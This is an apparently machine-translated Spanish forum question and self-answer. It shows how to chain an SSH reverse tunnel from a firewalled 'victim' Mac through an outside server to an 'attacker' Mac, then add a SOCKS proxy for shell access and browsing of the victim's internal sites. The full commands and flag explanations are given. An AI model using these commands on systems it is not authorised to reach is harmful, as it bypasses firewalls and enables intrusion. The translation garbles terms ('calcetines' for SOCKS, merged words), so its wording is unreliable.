
Mi situación es la siguiente:
- Trabaja Mac detrás de un firewall, denominado "Víctima". (Alta Sierra 10.13.3)
- Ubuntu VHS en la red, denominado 'servidor'. Que tiene ssh ejecutándose en el puerto 2222. (Ubuntu 16.04)
- otra Mac también detrás de un firewall, denominada "atacante". (Alta Sierra 10.13.3)
Quiero usar calcetines para visitar sitios web internos a los que solo puede acceder la "víctima".
Cuando hago desde 'víctima' y ssh al 'servidor' del atacante y lo ejecuto , tengo acceso de shell del atacante a la víctima.ssh -R 5555:localhost:22 [email protected] -P 2222
ssh victim@localhost -p 5555
Lo que necesito lograr es usar calcetines para visitar sitios web a los que solo puede acceder la "víctima".
Entiendo que debo configurar un túnel inverso desde la víctima al servidor y configurar un reenvío en el servidor desde el puerto de entrada al puerto de conexión invertido y también configurar el reenvío en el atacante desde el host local al remoto (que se conecta al servidor), pero ¿cómo lo hago? ¿Hago esto?
Cuando configuro un calcetines directamente desde el atacante al servidor, simplemente ejecuto y configuro el proxy calcetines v5 localhost:8080 en Firefox, pero no entiendo cómo puse el reenvío en el servidor...ssh -D 8080 [email protected] -p 2222
¿Alguien que me lo pueda explicar? Gracias
Respuesta1
Aparentemente nadie puede responder a esta pregunta, está bien porque yo mismo encontré la respuesta.
Aquí están las respuestas:
- Envíctima:
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
- Enagresor#1:
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>
- Enagresor#2:
ssh -p 4444 -D localhost:3333 user_on_victim@localhost
- Enagresor#3: en Firefox o irc, o incluso para la configuración de red general: configuración de proxy Socks (v5): 127.0.0.1 puerto 3333
Cada aplicación para la que configure el host localhost con el puerto 3333 será tunelizada a través del servicio a la víctima y cuando visite algo comohttp://myip.comverás la ip/host de la víctima. A partir de aquí puedes incluso utilizar aplicaciones GUI en elagresor(si configura la configuración de calcetines para la aplicación específica o para el sistema en su conjunto) que se canalizará a través deserviravíctimay actuarás como elvíctimacomo tal.
El error que cometí en mi proceso de pensamiento fue que realmente no entendí cómo se ve el esquema de puerto invertido, intentaré explicarlo en términos simples.
acción de la víctima
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
-N
= No voy a ejecutar comandos en el shell-f
= poner el proceso en segundo plano (para que puedas cerrar la ventana de terminal)-R
= túnel invertido5555:localhost:22
= 5555 es el puerto en el que el servidor está escuchando internamente para enviar datos al puerto 22 envíctima. Si configuró a la víctima para que ssh se ejecute en el puerto 2222, debe cambiar 22 a 2222.-p
= puerto en el que está sshservirEsta corriendo.
Primera acción de ataque
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>`
El primer comando que hagasagresor( -L 4444:localhost:5555
) configurará un túnel para que su conexión con su tercer comando sea canalizada directamente hastavíctima. (Esto es sólo para aplicaciones de reenvío dinámico de puertos/Socks)
Si solo desea tener acceso de shell envíctimaen lugar de este comando, simplemente ingresa a serv y luego ejecuta el comando: 'ssh user_on_victim@localhost -p 5555'.
Pero no queremos acceso al shell, queremos canalizar todos los datos dinámicamente, por lo que tenemos que reenviar el puerto.
O la explicación esquemática
-L
= reenvío de puerto local (enservir)- 4444:localhost:5555
coloque todos los datos que ingresan por el puerto 4444 al puerto 5555.
Segunda acción de ataque
El segundo comando que hacesagresor
ssh -p 4444 -D localhost:3333 usuario_en_víctima@localhost
es el comando real que inicializará la conexión a través de los 2 túneles. Lo que debe hacer es decir: conéctese al puerto 4444 y coloque todos los datos que ingresan (puerto de host local 3333) al 4444 (que se transmitirá localmente enserviral puerto 5555 -> que se enviará al puerto 22 elvíctima.
O la explicación esquemática
-D
= Reenvío dinámicolocalhost:3333
= escuchar en el puerto 3333 y enviar datos a través de una conexión ssh al puerto 4444 para servir.-p 4444
= el puerto en el queservirestá escuchando para enviar los datos al puerto 5555 y luego enviarlos al puerto 22 envíctima.
Tercera acción de ataque
Configure sus aplicaciones o incluso todo su sistema para usar el servidor proxy SOCKS (v5) en la dirección: puerto localhost: 3333. No importa en qué puertos se ejecutan normalmente estas aplicaciones porque eso será manejado por el servidor proxy. En teoría, todas las aplicaciones pueden ejecutarse mediante el reenvío dinámico de puertos del proxy de calcetines. Sólo tendrás que configurarlo. :)
La tercera acción sobreagresorson los datos reales a los que vas a hacer un túnelvíctima. No importa qué datos o aplicación sean, por eso es reenvío dinámico, no importa en qué puertos se ejecutan estas aplicaciones porque eso será manejado por SOCKS.
Espero que alguien encuentre útil mi explicación.
Que tenga un lindo día....